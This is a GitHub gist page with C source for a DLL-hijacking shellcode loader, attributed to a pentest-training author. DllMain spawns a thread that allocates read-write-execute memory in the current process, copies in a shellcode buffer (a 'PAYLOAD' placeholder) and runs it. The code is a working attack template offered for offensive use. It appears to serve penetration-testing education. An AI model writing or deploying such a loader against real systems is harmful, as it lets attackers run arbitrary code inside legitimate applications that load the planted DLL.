Skip to content

Instantly share code, notes, and snippets.

@audibleblink
Forked from securitytube/DllMainThread.c
Created July 8, 2021 13:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save audibleblink/39691a54f2269c35212cecd6ab9d345b to your computer and use it in GitHub Desktop.
Save audibleblink/39691a54f2269c35212cecd6ab9d345b to your computer and use it in GitHub Desktop.
Launch Shellcode as a Thread via DllMain rather than a new process
// Dll Hijacking via Thread Creation
// Author - Vivek Ramachandran
// Learn Pentesting Online -- http://PentesterAcademy.com/topics and http://SecurityTube-Training.com
// Free Infosec Videos -- http://SecurityTube.net
#include <windows.h>
#define SHELLCODELEN 2048
unsigned char shellcode[SHELLCODELEN] = "PAYLOAD";
DWORD WINAPI ThreadFunction(LPVOID lpParameter)
{
LPVOID newMemory;
HANDLE currentProcess;
SIZE_T bytesWritten;
BOOL didWeCopy = FALSE;
// Get the current process handle
currentProcess = GetCurrentProcess();
// Allocate memory with Read+Write+Execute permissions
newMemory = VirtualAllocEx(currentProcess, NULL, SHELLCODELEN, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (newMemory == NULL)
return -1;
// Copy the shellcode into the memory we just created
didWeCopy = WriteProcessMemory(currentProcess, newMemory, (LPCVOID)&shellcode, SHELLCODELEN, &bytesWritten);
if (!didWeCopy)
return -2;
// Yay! Let's run our shellcode!
((void(*)())newMemory)();
return 1;
}
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
HANDLE threadHandle;
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
// Create a thread and close the handle as we do not want to use it to wait for it
threadHandle = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);
CloseHandle(threadHandle);
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment